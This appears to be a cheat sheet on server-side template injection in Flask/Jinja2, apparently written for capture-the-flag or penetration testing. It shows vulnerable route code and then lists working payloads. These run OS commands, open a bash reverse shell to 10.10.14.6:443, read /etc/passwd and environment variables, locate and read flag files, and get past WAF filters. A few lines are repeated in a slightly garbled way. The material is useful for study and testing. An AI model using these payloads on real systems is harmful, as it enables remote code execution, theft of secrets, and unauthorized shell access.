SSTI
Server Side Template Injection
flask.render_template_string
directly renders user input as Jinja2
templates. Any user input passed to it becomes a SSTI
Vulnerable Code Patterns:
# DANGEROUS - Never do this
@app.route('/user/<username>')
def profile(username):
template = f"Hello {username}!"
return render_template_string(template)
# ALSO DANGEROUS
@app.route('/search')
def search():
query = request.args.get('q')
return render_template_string(f"Results for: {query}")
Jinja2
, Twig
, and Mako
Engines.
${config}
${7*7}
${self}
Using OS module
${self.module.cache.util.os.popen('whoami').read()}
Python (Jinja2, Django)
// PHP (Liquid)
// Handlebars
Engines
Testing
{{7*7}}
{{config}}
{{self}}
Exploitation
Python global scope
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Reverse Shell
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"').read() }}
Read /etc/passwd
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['builtins'].open('/etc/passwd').read()}}
Recursive file search
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('find / -name "*flag*" 2>/dev/null').read()}}
bypasses some WAF filters
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}
Alternative access method when standard MRO traversal is blocked or filtered
{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}
Environment Variable Access
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].environ}}
The [104]
index can vary between Python versions. Look for <class 'subprocess.Popen'>
and note its index:
[104]
index can vary between Python versions. Look for <class 'subprocess.Popen'>
and note its index:Lists all available subclasses
{{''.__class__.__mro__[1].__subclasses__()}}
Last updated